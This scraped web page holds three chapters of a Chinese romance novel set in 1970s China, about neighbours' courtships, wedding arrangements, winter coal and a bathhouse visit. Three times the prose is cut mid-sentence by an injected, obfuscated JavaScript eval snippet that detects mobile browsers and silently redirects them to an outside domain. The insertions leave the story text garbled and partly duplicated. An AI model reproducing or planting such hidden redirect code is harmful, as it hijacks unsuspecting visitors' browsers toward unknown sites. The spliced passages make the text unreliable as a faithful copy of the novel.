卢建设走后门进入新的榨油公司的事儿,在团队里不是秘密。本来跟着关百钺干的,大部分是高斌那一伙儿的,平日里卢建设没少巴结高斌,大家自然看不惯。自卢建设来这大半个月,光是吵架,发生了至少四起。 顽主嘛,谁鸟卢父是不是革委会副主任,不服气就是不服气,因此这半个多月,卢建设过的挺闹心。 关百钺想倒腾蔬菜啊,打上了卢建设他爸的主意。见卢建设没说话,他接着建议道:“听说革委会在联络南边几个省份,说是能弄来蔬菜?你也是实心眼,动动脑筋,跟你爸说,多给咱们公司分一点儿,大家吃了你的,不就嘴短了?多大点儿事儿。” 卢建设先时还不服气呢,想说不是他看大家不顺眼,是那些人找他麻烦!可紧跟着关百钺的提议,让他安静下来,他有些不确定:“哥,就是一点儿蔬菜,行吗?海子他们都是部队大院儿的,可都不缺这一口儿。再说,大家本来就说我是走后门的,要是再用我爸的关系,不就更坐实了这个话?” 关百钺:“......” 可见那心眼儿,都用在怎么忽悠小姑娘上了。眼里只看到海子几个,感情陶勇那批大杂院的,每日勤勤恳恳干活,他全没看在眼里。 关百钺耐心道:“怎么不行!你想想,冬天里要是有青菜吃,你念不念给你青菜的那人的好?” 那可不念嘛,如今东北的冬天能有啥?无非是白菜萝卜,萝卜白菜的,吃一冬,想想都够够的。这时候要是有青菜换换口,别说念那人的好了,就是让给他办事儿,都不含糊的。 卢建设明白了,拍着胸脯道:“行,哥,这事儿交给我。那咱们的国庆福利就是青菜?” 关百钺淡定地点头:“对,能弄到多少弄多少,放心,我跟大家伙说说,等到时候榨出油了,少不了你的功劳。” 卢建设嘿嘿嘿的笑。于是国庆后,新的榨油公司门前,停了一辆大卡车,车上是从山东拉来的一车大葱,看样子能有一吨。 山东的葱,葱白长,葱叶子少,一颗能有一人高,最易储存。冬日里,葱是可以当蔬菜吃的,别人还没什么反应,陶勇几个大杂院的都咧开了嘴笑。 卢建设悄悄拉过关百钺,低声道:“哥,我爸他们主要是联络了大葱、莲藕和土豆,土豆容易买,莲藕又太紧俏,我爸也匀不过来,就大葱了,怎么样?” 能怎么样,自然是太好了!关百钺重重的拍卢建设的肩,语气里十分欣慰:“好样儿的,你看,哥儿们都记你的好呢。等着吧,明儿谁也不敢说你一句不好。” 榨油公司的人知道是卢建设弄来的,虽心里不服,也知道好歹,当然不会明面上再针对卢建设。这话也就骗骗卢建设这种涉世不深的半大少年,稍微有些常识的成年人,都不会信关百钺的话。 奈何半大少年卢建设深信不疑,他低声道:“谢谢哥。放心,晚上我让叶叔亲自给你送家去。”叶叔就是叶成才,叶宛如她爸,是卢建设父亲卢平的秘书,平日里关百钺接触不多,闻言他摆摆手,一副很不必如此的样子。心里却在想,等的就是你晚上偷偷送!清云冬天里能不能吃上好东西,可就在这一次竹杠上了。 于是第二天,来接章清云时,关百钺后车座儿上,绑了满满一袋子的菜。卢家晚上送来的自然不止大葱,还塞了些莲藕、土豆、南方的梅干菜等等,杂七杂八的,装了一编织袋。关百钺甚至还从车筐里找出一小包柿饼,挂着糖霜的那种,格外诱人。 章清云咽了咽口水,前两天下班聊天,她随口提了一句,说是小时候在孤儿院,最喜欢的就是秋冬的时候,有好心人来送柿饼。她最喜欢吃这东西,每次吃完,都能乐上十天半个月。真就是随口一句,没想到这人记住了,不仅给她带来了干菜,还特意买了柿饼。 关百钺拿出一个递过去,笑着道:“傻了?快尝尝甜不甜?跟小时候的味儿像不像。” 章清云也没接,就着关百钺的手咬了一口,笑着说:“甜,比小时候还甜。” 关百钺愣了愣,深深看了章清云一眼,随即展开笑容:“那以后每年都给你弄。” 这次来章家,不仅为了送菜,关百钺还带来了父母的信。信是夹在家书里,让转送给章父章母的。信中,关父关母先是道歉,因着工作的关系,不能出席儿子的婚礼,希望章家父母不要怪罪。随信附赠了六百块钱,让关百钺和章家父母办婚礼用,言明不要怕花钱,百钺能娶一贤妻,是他的福气,也是关家的福气。 话里话外都是对章父章母的恭维,对于婚期,两人自然是让章父章母拿主意,不论二人怎么选,他们都支持。当然,字里行间的也暗示,希望越快越好,也希冀下一封信,除了拜年,还能有双喜。 章砚臻能说什么呢,之前媒人韩佳已经上过门,连彩礼都商量好了。六十六块钱、两床被子两床褥子、两张毛毯、一夏一冬两双皮鞋。至于自行车、收音机和缝纫机这些大件,自行车章清云有,是陪嫁而不是彩礼。收音机和缝纫机关家都有,直接列入彩礼单子,到时候章家再当嫁妆陪送过去,等于说不用挪地方,但是来回这么一倒腾,计入了小两口名下。 章家自然是没想要这么多的,奈何关家硬塞啊,韩佳还一副给少了的架势,撺掇章砚臻和陈静要一辆新自行车:“清云这辆到时候给清远嘛,盈钺说她跟百货大楼的售货员熟的很,等来了新的锰钢车......” 章砚臻自然是连连摆手,他们嫁闺女,可不能一分钱不出!其他的关家都出了,自行车总得他们家陪嫁一台吧。 就这么着,在一方硬要给,一方无论如何也不要的诡异气氛中,彩礼商量好了。不过冬日办婚礼,章砚臻有疑虑,他说:“冬天上菜,不都结冰了,还能吃吗?” 关百钺讲了大院办婚礼的规矩,章砚臻不满,闺女结婚,哪儿能不摆席只嗑瓜子儿的?他闺女可不受这委屈,章砚臻拒绝道:“你家不摆,我们家是要摆的。要不然,咱们摆两次酒怎么样?你们大院儿一次,大杂院一次。大院儿的时候开茶话会,大杂院自然是要吃席的。” 关百钺沉吟:“章叔,您能借到钢铁厂的食堂吗?摆席的话,在食堂里,也不怕菜端出去就凉了。” 见女婿同意了,章砚臻直笑着点头:“那怎么借不到?行了,你回去定个日子,提前告诉我,食 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319518|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堂还不好借嘛,放心。” 就这么着,在章家蹭过饭,关百钺直接去了师家,和关盈钺、师援军一起去找韩佳,定结婚日期。最后,还是关盈钺指着一个日期,一锤定音道:“十二月二十,农历十一月二十二,最宜婚丧嫁娶。” 章清云还不知道婚期已经定了,翌日去上班,中午正吃饭呢,就听一旁的人可大声的恭喜王梅:“钢铁厂宣传科!王梅,你也太厉害了吧?谁不知道钢铁厂效益好福利高,你调过去,可不比在文工团差。” 许是意识到声儿有些大,女孩儿吐了吐舌头,又轻轻撞了撞王梅,意有所指道:“姐儿们,有门路可不能藏着掖着。我也快退了,你可不能藏私......” 章清云没再听,钢铁厂这么重要的涉密单位,肯定有很多部队退下来的人,有沈老在,会有人卖姚家面子的。王梅的事儿是谁撺掇的,不是显而易见了? 姚燕妮可没觉得显而易见,这么多天和章清云套近乎,她半点儿没感觉到章清云的排斥,满心以为已经过关了,这才安排了调动。 哪里知道,章清云是个最会演戏的人。孤儿院长大的人,什么时候说什么话,那是刻在骨子里的。姚燕妮和她玩心眼儿,那她就奉陪。反正这辈子是赚来的,章清云有耐心。 下午训练时,出乎意外地,在一次旋转时,苗盼儿晕倒了。几个男队员背着人,飞奔到医务室。医生看了苗盼儿的脸色,叹口气:“营养不良,运动量又多,低血糖了。没事儿,挂一瓶葡萄糖就好了。”说着示意护士去拿葡萄糖,给苗盼儿扎针。 周文芳那个气啊,文工团的芭蕾舞演员饿晕了,出去说说,谁信这个话!可这竟然真的发生了,苗盼儿生生饿成这样,周文芳厉声问:“是补贴不够?还是工资少发了?我记得你爸可是厨师,厨师能饿着?” 苗盼儿苦笑,秋收粮食歉收,最近买到的供应粮都是陈粮,还得先紧着苗大山补身体,毕竟要拼儿子嘛。黑市的粮食价格也上升了,原本她的工资,一半上交,一半儿就得花在黑市买粮上。可如今一样的钱,能买到的粮食少了,可不就得饿肚子? 苗大山是厨师,可他是个死要面子的男人!其他的厨子,哪个不是往家里划拉东西?只有他,别人说两句好话,那就是给他面子,小灶上剩下的东西只管拿走。似乎别人口里的那句“苗大厨真爷们儿”,比让媳妇儿孩子吃饱肚子,还让他有成就感。一辈子活在别人嘴里的男人,她能怎么办呢? 她娘牛桂兰也不是个靠谱的,无端端去管章家的闲事儿,还举报,这几日在胡同,谁不防着他们家? 谁家背后又不笑话苗家?苗盼儿至今还记得,几年前,她也才十一二的年纪,晚上出去上公厕,听到里面的阿姨说:“牛桂兰就是个棒槌!哪哪儿都显出她来了。生不出儿子的蠢货,谁服她啊。就这都不觉景儿,还觉得自个儿特别有牌面呢。” 她听出来了,那是今儿她妈说的,对她特别特别服气的裘婶儿。 “就是,哄哄她让她赶紧走罢了,她还当真了,真是比猪还蠢!” 也是那次,苗盼儿清醒地认识到,她这辈子,都靠不了父母。 33. 苗盼儿陶勇曝光 队员们面面相觑,也不知怎么安慰苗盼儿。他们这代人,都饿过肚子,只要不是没办法,谁会让自己饿晕呢。 周文芳深深吸气呼气,面无表情道:“去找财务,预支三个月工资。下次要是再饿晕,我可要去找你爸妈谈谈了。” 苗盼儿点点头,手上还扎着针呢,自然不能动,周文芳的眼神儿在其他队员身上一一扫过,她说:“都听好了,咱们跳舞的,说好听点儿是搞艺术的,说难听点儿呢,不过就是个干体力活儿的。既然是体力活儿,吃不跑是要出事儿的!以后的工资都好好收着,谁下次跟苗盼儿学,小心我找你们家去!” 说着严厉地瞪了大家一眼,离开前冷声道:“十分钟后训练。” 等周文芳的身影消失在门口,程紫鹃才气喘吁吁地跑进来,她说:“盼儿,我这儿有大白兔,你先含两颗。来。” 其他人反应过来,也纷纷开口:“我今儿带了桃酥,我去给你拿。” “我带了江米条,等下我。” 章清云的零食中午就吃完了,见人少了,她低声问苗盼儿:“你饿肚子的事儿,跟陶勇说过吗?”要是说过,陶勇还让盼儿饿成这样,那这人也不怎么样!虽说不能靠男人,可互相关心是最基本的吧?这要是都做不好,还当什么男朋友! 苗盼儿摇摇头,低声道:“他最近忙,我俩已经快一星期没见了。”也就是上次榨油公司分冬菜的时候,陶勇过来送了一捆儿大葱,其他时候两人还没见过。 章清云心里这才舒服些,她劝道:“陶勇也算是有了前途,我觉得你俩的事儿不必再瞒着了,早些挑明,等明年就能结婚了。你如今这情况,还是早些结婚的好。” 苗盼儿点点头,却没再开口。她何尝不想早些脱离那个家呢,可父母不会同意的...... 章清云也不打扰她,起身去了团长办公室。那里有电话,正好给榨油公司打个电话,告诉陶勇一声。再忙,女朋友都饿晕了,不该来看看吗?这点就没有她家关百钺做的好,关百钺再忙,三两天总要来见她一回,从没出现过一周不见人的情况。 咚咚咚。 向党正在写工作总结,听到声音头也不抬:“进来。” “团长。”章清云推门进来,先鞠了个躬,而后才道,“我想借您的电话用用。放心,就一分钟,不会耽误太久的。” 这年头电话费还是很贵的,向党抬起眼皮儿看了章清云一眼,并没有立刻答应,反而问道:“打给谁?公事儿还是私事儿?”意思很明显,用单位的电话办私事儿,可不行。 “是这样,团长,苗盼儿晕倒的事儿您知道吧?”见向党点点头,章清云接着说,“我是想让她家人下班来接她,以她的身体状况,路上出些什么事儿就不好了。” 向党这才抬了抬下巴,示意章清云只管去打,不过也说了:“尽量控制在一分钟之内。” “是,一定。”章清云笑着点头,拨了榨油公司的电话,直接道:“我找关百钺。” “有什么事儿吗?关总工程师在车间。” 章清云:“急事儿,请他千万接个电话。” “这样啊,你五分钟后再打来,我去叫人。” 等了五分钟,章清云才再打过去。关百钺的声音在电话里听着有些失真,在听到苗盼儿晕倒,让陶勇下班一定要来接她时,关百钺一个劲儿保证:“行,我跟陶勇一起去。” 章清云松了一口气,赶紧道:“那我不说了,再见。” 下班时,章清云特意叫住苗盼儿,将陶勇来接她的事儿说了:“你这个样子,可不能一个人回家。和陶勇好好谈谈吧,百钺说他是个负责任的男人,要是喜欢就抓紧。” 苗盼儿哭笑不得,冷美人章清云竟然也开始管闲事儿了。 章清云可不觉得是在管闲事儿,她不等苗盼儿回答,拉起程紫鹃的胳膊先走了。路上,程紫鹃语气里不无艳羡:“盼儿比我还小一岁呢,就有男朋友了,我还单着呢。呜呜,我不管,清云,你有好小伙儿可一定得给我介绍啊。” 章清云笑:“我认识的大部分都住大杂院,可配不上我们程大小姐。好了,我就不信伯父伯母没给你介绍?急什么,保不齐你的缘分就要来了呢。” 见了陶勇,章清云也没多话,关百钺拍拍陶勇的肩,和章清云先行离开。怎么选择得看这两人,他们只能提建议罢了。 路上,关百钺提议:“去国营饭店吃了饭再回去?听说今儿有鲶鱼,去尝尝?” “行啊,走。”自从婚期定了,两人相处愈发不用避讳,很多时候都是一起吃了晚饭再回去。这次关百钺来,除了陪陶勇,还有秋收去帮农助农的事儿。 如今提倡学农学军,工人干部更要以身作则,每年都要下基层劳动的。榨油公司新成立,那么多双眼睛盯着呢,这些工作自然更要积极。好在红星农场本身就是种植大豆的,他们去帮忙,顺便拉拉关系,也算对口。 点完菜,关百钺道:“也就是烧点儿绿豆汤的事儿,累不着,还能服务农场。你们呢,什么时候演出?” “秋收后,正好错开。”章清云耸耸肩,问起了陶勇的情况,“他什么意思啊?是想娶还是不想娶?不会是上岸第一刀,先斩意中人吧?”穷才不择妻,要是陶勇自觉发达了,看不上苗盼儿了,那趁早认清此人,也是好事儿。 关百钺笑:“想哪儿去了,是最近机器到了试运行阶段了,车间日夜都得有人看着,陶勇忙得很。估计是没想到苗盼儿还能饿着。” 是啊,这谁能想到呢,苗盼儿她爹可是厨子!看着面色苍白的苗盼儿,陶勇说什么都要跟着去苗家,说明情况:“你放心,无论苗大叔提什么条件,我都答应......” “答应什么答应!”苗盼儿没好气儿,“才跟着关百钺干了几天,又没挣几个钱,还嫌手里的钱烫手不成?!” 见男人表情决绝,显然下定了决心不肯更改,苗盼儿沉吟道:“这样,父母有我应对,你只管跟在我后面,不能多嘴,知道吗?” “男人哪儿能缩在女人身后......” 陶勇小声嘀咕,见苗盼儿圆瞪着一双眼看他,陶勇只得改口:“行吧,不过要是叔叔阿姨不答应,我可不能听你的,他们说什么我都受着。我是要娶你的,不是要跟叔叔阿姨成仇人的。” 苗盼儿脸微红,嗔了陶勇一眼,半晌低声道:“你妈......同意了?”前几日牛桂兰乱管闲事儿,苗盼儿去买菜的时候,陶阿姨明显没以前热情了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325294|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陶勇拍胸脯保证:“同意。我们家那条件,能娶你是烧高香,我妈不可能挑拣的。前几天就是抹不开面子,放心,我已经劝过她了。” 陶勇骑车带着苗盼儿,两人一路说着话,路过供销社时,陶勇说什么都要进去买东西:“哪儿有新女婿空着手上门的?盼儿,听我的,想今儿办成事儿,这钱就得花。” 就这么着,买了一斤桃酥、一斤红糖、两斤红枣,见还有豌豆黄,不多了,约莫有半斤,都包圆儿了,好歹凑够了四样礼,这才拎着重新上路,很快到了三叉树胡同。 这年头,女孩子坐在男孩儿自行车后座上,什么关系还用问吗?还没走到大杂院呢,陶勇和苗盼儿处对象的事儿已经传得无人不知了。 好家伙,一个个争先恐后地出来看。苗盼儿也算是大杂院的另一只金凤凰了,这怎么给混子陶勇摘去了?袁家老小袁国富心里那个恨啊,章清云飞了,他好不容易说服自己接受苗盼儿,接受苗家,这怎么又飞了? 如果说袁国富是吃惊加懊恼,牛桂兰就是单纯的生气了。盼儿可是三个闺女里最出息的,她还指望着盼儿嫁入大院儿,他们跟着沾光呢,谁知道这死丫头看中了陶勇! 陶勇是什么人?那就是个胡同串子!父母都不囫囵全呢,孩子还多,买菜的妈养活三个儿子,最小的才十岁,这样的人家嫁进去,还是长子,不说沾光不沾光的话,不被连累就不错了! 再说,牛桂兰自觉也不是完全不为苗盼儿考虑,都说贫贱夫妻百事哀,这是有道理的。盼儿嫁过去,那工资不得被婆婆逼着拿出来,养陶勇的两个弟弟?如果嫁过去,过的日子还不如在娘家,何苦要折腾着嫁人呢? 因此上,陶勇和苗盼儿还没进家门,牛桂兰已经想好了拒绝的话,今儿无论如何,她是不会同意的。 吵的那个热闹啊,等章清云和关百钺回来时,还没停呢。牛桂兰说什么都不松口:“盼儿,别跟我耍这些心眼儿,什么婚姻自由,我还说儿女得孝顺父母呢。不同意就是不同意,你要是非不听话,行,我就去你们单位,我也不闹,就找你们团长问问,不孝顺父母的女孩子,能不能再呆在文工团?!” 话里威胁的意思很明显,工作和婚姻,苗盼儿只能选其一。要是执意嫁给陶勇,牛桂兰可不介意去闹腾! 苗盼儿气得直哭,回来这么久,她脸色这么难看,邻居们都注意到了,就她亲妈,一句不问,还威胁她要让她丢了工作。 陶勇见状,再不躲在苗盼儿身后了,噗通一声跪在牛桂兰面前:“牛婶儿,您别怪盼儿。我和盼儿两情相悦,您有什么条件只管提,只要我能做到的,我都答应您。您还不知道吧?今儿盼儿训练,都饿晕了,现在头还疼呢,她也不是有意顶撞您的,真的,这不是病了嘛。” 余光瞥见给领导做完小灶、迈着八字步下班的苗大山,陶勇立马转了个方向,拍马屁道:“苗叔,您回来了?辛苦了,肯定是领导又点名要您去做的吧?我都听盼儿说了,您的手艺是这个!” 他竖起大拇指,满嘴都是恭维的话:“满钢铁院儿打听去,谁不说苗大叔您的手艺好?谁家婚礼能请您掌勺,那都能让大家高看三分的。不仅如此,大家可都说苗大厨最仁义,惜老怜贫的......” 34. 毛脚女婿献殷勤 陶勇是个聪明人,自然知道怎么讨好老丈人。一席话说下来,苗大山已经乐开了花,虽然还不知道这小子为什么跪在媳妇儿面前,可不妨碍他觉得自个儿威信高。 苗大山矜持道:“过奖了,过奖了。领导看重嘛,我一个厨子,当然要全心全意做好分内的工作。什么惜老怜贫,不能这么说,大家都不容易,我就是做了大家都该做的,没啥,真的没啥。” 说着一个劲儿摆手,嘴角都咧酸了,也没见围着的邻居凑趣儿说几句恭维的话,苗大山面子上有些下不来,轻咳一声,问道:“陶家小子,这是怎么了?犯错儿得罪你婶子了?没事儿,你婶子头发长见识短,她说什么你都别放在心上,等叔教训她。” 说完只觉得大家看向他的目光更诡异了,半晌,有人高声嚷道:“苗大叔,牛婶子说的话陶家小子不用听,那你的呢?要不要听?” 苗大山愣了愣,不知道这小子突然问这个做什么,陶家小子就是个陌生人,家里又没人在钢铁厂工作,听不听他的话有什么打紧,他说:“有道理就听,没道理就不用听嘛。怎么,伟人的话忘了?人人平等,我虽然年长几岁,可也不要求年轻人都听我这个老人儿的嘛......” 人群里有人噗嗤笑出声,问话的小子嘻嘻笑着凑趣儿:“陶勇,听见没?不用听你老丈人和丈母娘的,到年纪了直接登记!” 陶勇感激地看了那小子一眼,他是街面上混久了的,自然认识喊话的人,知道这是在帮他。微微冲那人点点头,赶紧赔笑,冲着苗大山说:“苗大叔,那什么,您也别见怪,大家这是觉得您可亲,能开得起玩笑,才这么着的,这也说明你在邻居里有人气儿。呵呵,您也听到了,那什么,我跟盼儿在处对象,今儿就是来家看看您和牛婶儿,商量商量婚期的事儿......” 苗大山简直是僵在当场。他这人最看重面子,说出去的话,不可能当着这么多人的面收回,憋得脸都红了,半晌才开口呵斥了牛桂兰一句:“傻站着干什么?回家泡茶!什么事儿都做不好,娶你干啥!” 见大家还围着,吭哧了半天道:“那什么,没啥事儿,大家回去吧。陶勇是吧,走,进屋,有什么事儿回家说,别影响大家休息。” 陶勇响亮地哎了一声,忙站起来,拎起地上的四样礼,扶着苗大山进屋,将恭敬做到了实处。关百钺啧啧两声:“别担心了,凭陶勇的口才,今儿这事儿算是成了。” 可不是,等十点晚上刷牙的时候,遇见苗盼儿,不用问,光凭那脸上的笑,就知道婚事儿成了。章清云低声恭喜了一句,苗盼儿拧开水龙头,低头抿嘴笑。章清云便问了婚期,苗盼儿低声道:“明年五月我就满十八了,先跟勇哥登记,之后再办婚礼。” 说完沉默了一会儿,跟章清云道谢:“谢谢你今儿通知陶勇。”团里就团长办公室有电话,想也知道章清云去找团长了。 章清云睨了苗盼儿一眼,调侃道:“就这么空口谢啊?” 苗盼儿低头抿嘴笑:“勇哥说明天请你和关百钺吃饭。” 章清云吐掉嘴里的牙膏沫,也没立即答应。能饿到晕倒,苗盼儿手里肯定不宽裕,陶勇也才跟着关百钺干了没多久,手头肯定也没什么钱,吃饭什么时候不能吃,她说:“这可得听关百钺的,行了,我洗漱好了,明儿见。” 其实章清云小看陶勇了,作为以前街面上的混混,他也是靠“吃佛”过日子的。只不过后来被关百钺看中,这才不跟街面上的其他混子一起瞎胡闹了。手头虽然不宽裕,但是请一顿饭的钱还是有的,翌日一下班,关百钺被陶勇拉着,愣是去国营饭店吃了这一顿。 天气一日日变冷,十月七日秋收完,文工团陆续开始下基层演出。可惜天公不作美,只跳了两天,十月十日一场大雪,青江市提前进入了冬季。 大院儿里早早通了暖气,大杂院取暖就得靠烧蜂窝煤了。十一日是周日,关百钺早早起床,吃了早饭就要去章家帮忙。做什么呢?拉煤。 正值冬季,城镇居民每人每月限量供应三十五公斤的煤炭,过期作废。章清云家是四口人,需要拉一百四十公斤的煤炭,为了让老丈人家冬日里更暖和,关百钺昨晚满大院的找人,愣是又倒腾了一百公斤的煤票。因着拉煤的架子车抢手,每个胡同都得提前排号,关百钺干脆借了科研大院的,直接推着去了三叉树胡同。 章砚廷一家趁着东风,也提前去买了煤球,别人想用?那可不行!单位上拉煤也紧俏着呢,关百钺是凭借着关父关母的面子,才借出来四个小时,用完得早早还回去的。 周日一上午都在拉煤中度过,章家自然是齐上阵了,别看就是简单的拉煤,短短两三个小时,身上沾染的满是煤灰,灰扑扑的。没办法,还得干啊,咬着牙推车,将煤都堆在屋檐下,用塑料布盖上,以防淋雨变潮。 这下子,身上更脏了,洗手的水都黑乎乎的。进到屋里,刚喝了杯热水,邵华端着碗虾酱进来,笑呵呵道:“供销社剩的虾酱底子,中午添个虾酱炒鸡蛋,算是大伯娘谢谢百钺今儿帮忙了。” 关百钺忙站起来,连声称大伯娘客气。邵华摆摆手,也没多留,放下碗就走。 章清云洗好手进来时,嘴里还小声嘟囔:“今儿肯定吸入粉尘过量。妈,您帮我看看,头发缝儿里是不是有煤灰?” 陈静拍了拍闺女的手:“娇气!”嘴上这么说,却已经起身去巴拉章清云的头发。 关百钺笑笑,跟变戏法儿似的,拿出大院儿的澡票,晃了晃道:“章叔,陈姨,这是我们大院儿后勤发的澡票,要不今儿咱们洗澡去?” 陈静停下动作,笑得眼睛都眯起来了。她和章砚臻都有工作,自然不缺洗澡票,只是高兴这孩子想得周到,又是借架子车,又是想着得洗澡,难得准备的这么齐整。她拍手道:“行,咱们早点儿吃午饭,中午澡堂的人应该少些。” 一行人吃完饭,往出走的时候,还看到陶勇这个新女婿,也来苗家帮忙拉煤。大冷的天儿,热得脸上都是汗,牛桂兰虽然脸色还是不好看,却也没开口教训人。关百钺给了陶勇一个加油的眼神儿,推着架子车,领一群人去了科研大院的澡堂。 天冷,带的换洗衣服就有些多,一人一个澡篮子,溜溜达达的,很快到了地方。 左右分开,陈静和章清云去了右侧的女澡堂。一掀帘子,热气铺面而来。两人在门口排队交了澡票,没想到科研大院的澡堂还有蒸桑拿、按摩、拔罐的服务,不过得花钱,章清云和陈静一人交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329848|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一毛钱,选了个蒸桑拿。 一人给了两个牌子,一个牌子上写着数字,旁边是钥匙。另一个是蒸桑拿的凭证,蒸的时候交给管理员就行。 章清云将牌子挂手腕上往里走,不远处就是左右两排木柜,按照木牌上的数字打开柜子,这就可以脱衣服准备洗澡了。不习惯直接光着,章清云拿出一条浴巾裹上,这才没那么尴尬。 刚穿来没多久,章清云去钢铁厂的澡堂洗过一次澡,之后就缠着陈静,用旧衣服改了这么一条浴巾。陈静见闺女这想法不错,也给自个儿做了一条。 裹好,母女俩手拉着手,小心翼翼地往前走。地上湿漉漉的,两人走得十分小心。一进澡堂子,白蒙蒙一片,什么都看不清,只觉得热气蒸腾,好半天才看见人影儿晃动。 适应了一会儿,这才再往里走。澡堂子没有钢铁厂的大,拢共不到二十个淋浴喷头,每个下面都站了三四个人,都是洗掉头脸身上的泡沫的时候才用,其他时间都在旁边,拿着搓澡巾搓灰。 也有洗好了,在一边儿蹲着洗衣服的,说话的声音可亮堂了,这个嚷儿子不听话,净知道瞎胡闹,那个说闺女也不好教,动不动就发脾气,哪儿像她们那时候,什么都听父母的。 母女俩算是陌生人,正不知道去哪儿冲澡呢,右侧角落里有人喊:“章清云?你怎么来这里洗澡了?” 章清云凝神去看,这不是魏雪吗?怎么来科研大院洗澡了?旁边搓头发那个,不是被她飞帽子的叶宛如吧?听见魏雪叫她,还打了魏雪一下,翻个白眼儿,低下头开始揉搓泡沫洗头。 见那边人少,章清云干脆拉着陈静过去,魏雪稍微让了让,章清云赶紧道谢,解开浴巾开始冲澡,淋湿了先打香皂,让开示意陈静赶紧冲,这才跟魏雪说话:“听你哥说,去医院学东西了?学的怎么样?” 魏雪撇撇嘴:“就那样儿呗。护士嘛,有多难。对了,清云姐,我哥那边最近是不是很忙?” 章清云点点头:“是啊,听说到了关键的时候,怎么了?” 魏雪有些不高兴:“建设都一个礼拜不来看我了。要不是他要忙,我才不去学护理呢。” 旁边的叶宛如洗好头,正冲泡沫呢,闻言离开喷头,接嘴道:“你就没出息吧。卢建设不就长得好点儿嘛,其他可都不咋的,真不明白你怎么就看上他了。” 魏雪哼了一声:“你这么说你爸领导的儿子,小心我告状,让领导给你爸穿小鞋。” 叶宛如翻了个大大的白眼儿,继续冲头发去了。 章清云尴尬地笑笑,为了不接话,装着可忙的样子搓澡,身上都搓红了,看的一旁的一个陌生姑娘羡慕地道:“你皮肤可真嫩,又白,天生的吗?” 陈静作为老母亲,闻言自然是又高兴又骄傲,忙给闺女作证:“天生的,我生的,没人比我清楚。” 说得一旁的几个姑娘都笑。不过彼此也不认识,嘻嘻哈哈了几句片儿汤话,就没什么说的了。 洗好淋浴,正好魏雪和叶宛如也买了蒸桑拿,四个人一起往里走。路过大的热水池子,看着有四个,里面泡的都是人。不过四人没去泡,如今这条件,水池子里的水一天也就换一次,洗干净了再进去,跟白洗了一样。 35. 被人跟踪想计谋 最里面才是桑拿房,使用木板隔出来的屋子,里面是大的铁皮炉子,炭火烧的特别旺,温度能有五六十度,刚进去就一身的汗。 四人开始没说话,许是终于适应了,陈静开始跟章清云唠叨冬储菜的事儿:“这次买到的白菜不好,虽然是一等菜,但是菜帮子多,叶子少,小远那傻小子不喜欢吃......” 旁边的一个大姐听到了,笑着道:“妹子,这种才好吃呢,又耐储存。这叫高帮白菜,你仔细品,那菜帮子带着甜呢。那种菜叶子多的,到最后叶子都干了,不划算。” “是吗?”陈静来了些兴致,往旁边挪了挪,跟大姐搭话,“大姐您说说,这高帮白菜怎么做好吃?” 叶宛如瞥了眼陈静,低声对魏雪吐槽:“你不是说章清云她妈是警察?怎么跟后勤的秦大妈聊上了?” 魏雪赶紧看了章清云一眼,只见章清云白眼儿翻的飞起,同时低声道:“叶宛如,你少找事儿啊,警察也是人,人就得操心柴米油盐酱醋茶,别没事儿找事儿。” 叶宛如撇撇嘴,不理章清云,只扭着头跟魏雪说话,她说:“不是想吃黏米糕吗?昨儿我爸带了一斤,洗完澡去我家吃。” “好啊。”魏雪欢呼一声,望向章清云时有些为难,想开口又知道不是自家,捅捅叶宛如,想让她也邀请章清云一起去。叶宛如却将脸扭在一边,不搭理。 魏雪歉意地笑笑:“那什么,清云姐,我家里有半斤的糖果票,等晚上我给哥送过去,让他给你啊。”她并没去过章清云家,是以只得通过关百钺转送。 章清云摆摆手:“不用,你留着吃吧,我家......” 魏雪笑着挽住章清云的胳膊,撒娇道:“清云姐,跟我这么客气做什么。我哥相当于是跟着我妈长大的,跟亲哥一样,你就是我亲嫂子。再说,我一个人在家,也吃不了那么些糖,你都拿去吧,等你有了好东西再想着我就行。” 这就没法拒绝了,章清云笑笑,谢过魏雪的好意。 魏雪笑嘻嘻地听完,提议道:“姐,下次洗澡直接来找我啊,咱们一起。我跟你说,各个大院的澡堂子,就数科研大院的好,其他的都没办法蒸桑拿,只这里可以。我妈说经常蒸桑拿对皮肤好,下次你记得喊我啊。” 章清云笑笑,为了洗澡,骑半个小时自行车来科研大院?还是算了,蒸桑拿虽好,但是时间宝贵啊。 蒸了有半个小时才离开。章清云头发长,衣服都换好了也没干,干脆用毛巾包裹了两层,又戴上帽子,这才离开。 